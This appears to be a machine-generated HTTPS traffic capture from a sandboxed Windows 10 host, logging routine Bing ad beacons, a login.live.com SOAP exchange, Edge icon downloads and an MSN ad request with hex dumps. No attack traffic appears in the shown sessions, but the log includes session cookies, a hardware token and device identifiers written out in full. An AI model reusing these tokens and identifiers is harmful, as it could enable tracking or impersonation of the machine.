2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-28 14:17:44 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49863	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:44 UTC	354	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=68c4ec1374684e91a583b5eed7b03ab7&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-28 14:17:44 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=04D75D34A2516129171A4871A32360BE; domain=.bing.com; expires=Tue, 23-Dec-2025 14:17:44 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Thu, 05-Dec-2024 14:17:44 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 6778B1339E2347CEB0FD09674C03BFA9 Ref B: EWR30EDGE0806 Ref C: 2024-11-28T14:17:44Z Date: Thu, 28 Nov 2024 14:17:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49855	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-11-28 14:17:44 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 9bf85ff3-9932-4cf0-992a-adf3aef451e1 PPServer: PPV: 30 H: SN1PEPF0002FA80 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:48 GMT Connection: close Content-Length: 10197
2024-11-28 14:17:49 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49870	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	397	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=68c4ec1374684e91a583b5eed7b03ab7&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=04D75D34A2516129171A4871A32360BE; MR=0
2024-11-28 14:17:46 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=fZAH-J3kacAMjcbI1ORRiK1I_vSQlNQng7WZl9eJGHM; domain=.bing.com; expires=Tue, 23-Dec-2025 14:17:46 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5C52CEF7CB7F4ABA80F86409B6411185 Ref B: EWR30EDGE1014 Ref C: 2024-11-28T14:17:46Z Date: Thu, 28 Nov 2024 14:17:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49869	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:46 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:46 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: cad89b3e-501e-005d-73ed-409803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141746Z-174f7845968px8v7hC1EWR08ng0000000ys000000000b77f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:46 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49875	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:46 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:46 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141746Z-174f7845968kvnqxhC1EWRmf3g0000000h9000000000bqwc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:46 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49876	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:46 UTC	522	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: fcdf0dc0-001e-004e-0122-41ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141746Z-174f7845968kvnqxhC1EWRmf3g0000000h9000000000bqwd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49871	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141739Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7725ddabbb3a45c19c2f1d473823bfc2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-88000045&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAa6o0AvetUTf7KbJofZ51/5TNZyoFu5SFa2iT+9rhofyJ+AVqgreTgiA8iiXrOQvKh0TVZ9IZuiTEarJ4hJZUB9LqFVYMclJD8/UCnw8jJkQCj2X3hwYAu8IWZJIf9jjPQl7W/JqO0O+WEbNLsl325O5xFE+FM4EGE0l/EULtZf5CmGm7uiRZGtgWqGL+t6JPlvv4L92f5HmAzwlpzkkU3WNDCV6YjIyxjWd1lNY3XHSprIgSZhL0QXD9fhCW9EF6kYFqJEssU7Udh9nZQhnGeL74/GPAEQpbPh3dbsdy2Hlu7ru4UGEyPocOMwM02JsCvgxLYQmCCtnp+snk1XmC6MQZgAAEGG0nTU3oT26BNPFq1DBjYuwAQEN6E16oXtBLUTzt8RJp/5ZnKVr8B5ortB23TF/OpjjBdcoNNog5vrZjMW/7vobDQx6T8v4aMSAP4pVcPK3suk+UpH/OPi7P3Rk31m905AX3a4DAf3DYr5AJXTVQDYwKuLmU/Uu8/AUZFP5X/lvwzbIU6OjAjmlVCnEBGx+SrISaVth6BCAG5mIKtlYqpR3HfieNWfsUBegK7+u4wGCpFpx7CAGQM6Gds5++3P+sVyYfguA9PiR4iNC/ulZIKO3bYXzvUUIFy0CA8wX8SBKiLuGbufpcELVUmq2oyLwPB/qb8csjXhYqU6/WYS5N6MD4Xh5UoulxVzy0kBqDZqNNSfa0tSxS2udhZTsMW4uPtvTVBrFMK8WvPWjSzQmiWgG4ho54IFWHmOTn6dUJr4QO4s8oX8Crg9WDaRyLb8DCqNsvCAMSyPRh1H3SZNlQz6BnnKxAq5cnF3AlL4usK95463AphNz2Y6Tv30izMNQUL71i9O7KwQi5u3+XzflmQknnDjUbTARC+PQ23MzKdYcCxm6GQ9lKpWfo1WfcHHEap1b1Fc7hmvApB0pxQ5VEiDoB9gB&p= Cache-Control: no-cache MS-CV: qttc0QDy8kC/EoYF.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 14:17:47 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2943 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: JZS0plXACr1Ye4EiRBpxYk3/ILpaic2a9C7Gnt2hSZi8v6cN0T3OXzQByMEStO17BbOil6qOM5GFMIyP1RhpWNv8dcfB1EEDdPnLxw19eDQnHfUt3TWIThsdwoXLpyVADEds9ct+qvit/QsobD7/WTOp0uDyhXzcDI580bfs3bK4oWyRPLBojx1nnNz3u1qgn23z0R+e3BKMdTsQ7M4oRL1eito0mZbp3B2kl1ikc9kMGZjrikpfbbX1HC4lD93zX2KtqkpMGcCU1KWBYoPH5g8WcqCoJ2+xHB1xb2wxHOoiLV6MQqQGEbRfcP6S6U57+e8HtTjH91446uRHwPZBPA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:46 GMT Connection: close
2024-11-28 14:17:47 UTC	2943	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49874	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:47 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:46 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141746Z-174f7845968px8v7hC1EWR08ng0000000ypg00000000f9uh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 14:17:47 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49873	13.107.246.40	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:46 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:47 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:46 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T141746Z-174f78459684bddphC1EWRbht40000000y800000000099u0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
